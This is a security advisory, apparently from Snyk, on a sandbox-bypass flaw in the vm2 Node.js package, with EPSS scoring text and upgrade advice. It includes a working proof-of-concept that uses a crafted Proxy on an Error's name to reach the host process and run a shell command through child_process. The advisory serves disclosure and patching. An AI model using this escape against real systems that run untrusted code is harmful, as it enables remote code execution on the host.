Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade vm2
to version 3.9.18 or higher.
vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Sandbox Bypass by abusing an unexpected creation of a host object based on the maliciously crafted specification of Proxy
.
Exploiting this vulnerability allows an attacker to gain remote code execution rights on the host running the sandbox via the Function
constructor.
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo hacked").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked